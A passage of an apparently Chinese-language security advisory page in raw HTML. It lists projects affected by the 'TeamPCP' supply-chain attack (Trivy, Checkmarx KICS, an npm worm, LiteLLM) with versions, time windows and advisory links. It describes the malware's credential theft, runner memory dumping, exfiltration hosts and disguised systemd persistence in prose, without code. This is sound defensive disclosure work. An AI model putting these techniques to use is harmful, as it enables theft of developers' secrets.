0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">📊 所有被 TeamPCP 攻击影响的项目</span></h2><h3 data-line="260" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">1. </span><strong><span leaf="">Aqua Security Trivy 生态系统</span></strong><span leaf=""> (初始目标)</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">组件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">受影响版本</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">不受影响</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">暴露时间</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">时长</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">trivy</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.69.4 (GHCR, ECR Public, Docker Hub, deb, rpm)</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.69.3 或更早；digest 引用</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-19 18:22 - ~21:42</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~3 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">trivy</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.69.5-v0.69.6 (仅 Docker Hub)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.69.3 或更早；digest 引用</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-22 15:43 - ~01:40</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~10 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">trivy-action</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">所有 v0.35.0 之前标签；显式使用 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">latest</span></code></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v0.35.0；SHA 固定</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-19 ~17:43 - 2026-03-20 ~05:40</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~12 小时</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">setup-trivy</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">所有版本</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">SHA 固定引用</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2026-03-19 ~17:43 - ~21:44</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">~4 小时</span></p></td></tr></tbody></table><p data-line="269" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">官方安全公告</span></strong><span leaf="">: <a href="https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23" target="_blank">https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23</a></span><span leaf=""><br/></span><strong><span leaf="">官方讨论</span></strong><span leaf="">: <a href="https://github.com/aquasecurity/trivy/discussions/10425" target="_blank">https://github.com/aquasecurity/trivy/discussions/10425</a></span></p><h3 data-line="272" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2. </span><strong><span leaf="">Checkmarx KICS 生态系统</span></strong><span leaf=""> (第二波攻击)</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">组件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">受影响版本</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">影响</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kics-github-action</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">全部 35 个标签 (v1 到 v2.1.20)</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">每个标签都指向恶意提交</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ast-github-action</span></code></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">v2.3.28</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">同样的投毒方式</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">OpenVSX 扩展</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ast-results</span></code><p><span leaf=""> v2.53.0, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">cx-dev-assist</span></code><span leaf=""> v1.7.0</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">VS Code 扩展市场未受影响</span></p></td></tr></tbody></table><p data-line="280" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">恶意代码行为</span></strong><span leaf="">:</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><p><span leaf="">搜索 AWS/Azure/GCP 凭证、SSH 密钥、Kubernetes tokens</span></p></li><li><p><span leaf="">从 CI/CD runner 内存中直接提取密钥 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Runner.Worker</span></code><span leaf=""> 进程内存转储)</span></p></li><li><p><span leaf="">加密后外传至 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">checkmarx.zone</span></code><span leaf="">，或使用受害者 GITHUB_TOKEN 在隐藏仓库创建 release</span></p></li><li><p><span leaf="">尝试通过 systemd 服务 (</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sysmon</span></code><span leaf="">) 安装后门，在 Kubernetes 集群部署特权 pod</span></p></li></ul><p data-line="286" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">安全公告</span></strong><span leaf="">: <a href="https://github.com/Checkmarx/kics-github-action/issues/152" target="_blank">https://github.com/Checkmarx/kics-github-action/issues/152</a></span></p><h3 data-line="288" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3. </span><strong><span leaf="">npm 生态系统 - CanisterWorm 蠕虫</span></strong></h3><p data-line="290" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TeamPCP 使用</span><strong><span leaf="">自我传播蠕虫</span></strong><span leaf="">在 npm 生态系统传播：</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">攻击方式</span></strong><p><span leaf="">: 使用窃取的 npm tokens，自传播到其他可发布包</span></p></li><li><strong><span leaf="">速度</span></strong><p><span leaf="">: 28+ 包在 &lt;60 秒内被感染</span></p></li><li><strong><span leaf="">影响范围</span></strong><p><span leaf="">: @EmilGroup (28 pkgs), @opengov (16 pkgs), @teale.io, @airtm, @pypestream</span></p></li><li><strong><span leaf="">持久化</span></strong><p><span leaf="">: systemd 服务 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">pgmon.service</span></code><span leaf="">，伪装成 PostgreSQL 监控</span></p></li></ul><h3 data-line="296" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. </span><strong><span leaf="">BerriAI LiteLLM (PyPI)</span></strong><span leaf=""> (第三波攻击)</span></h3><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">受影响版本</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">传播方式</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">触发条件</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">C2</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">litellm 1.82.7</span></strong></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">嵌入 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">litellm/proxy/proxy_server.py</span></code></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">import litellm.proxy</span></code></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">checkmarx.zone/raw</span></code></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">litellm 1.82.8</span></strong></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">litellm_init.pth</span></code><p><span leaf=""> 文件注入</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><strong><span leaf="">任意 Python 启动</span></strong><p><span leaf=""> (无需 import)</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">models.litellm.cloud</span></code></td></tr></tbody></table><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><strong><span leaf="">发现</span></strong><p><span leaf="">: 因为载荷的 bug 造成 fork bomb (指数级进程生成)，使得感染立刻被发现</span></p></li><li><strong><span leaf="">攻击路径</span></strong><p><span leaf="">: </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">PYPI_PUBLISH</span></code><span leaf=""> token 作为 GitHub 环境变量存储，通过 Trivy CI/CD 被窃取</span></p></li><li><strong><span leaf="">影响</span></strong><p><span leaf="">: Docker 代理用户不受影响 (依赖固定)</span></p></li></ul><p data-line="307" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong><span leaf="">Issue</span></strong><span leaf="">: <a href="https://github.com/BerriAI/litellm/issues/24518" target="_blank">https://github.com/BerriAI/litellm/issues/24518</a></span><span leaf=""><br/></span><strong><span leaf="">PYPI 官方公告</span></strong><span leaf="">: <a href="https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml" target="_blank">https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml</a></span><span leaf=""><br/></span><strong><span leaf="">OSV</span></strong><span leaf="">: <a href="https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/litellm/MAL-2026-2144.json" target="_blank">https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/litellm/MAL-2026-2144.json</a></span></p><h3 data-line="311" dir="auto" style="margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">5. </span><strong><span leaf="">其他受影响的 Aqua Security 项目</span></strong></h3><p data-line="313" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe 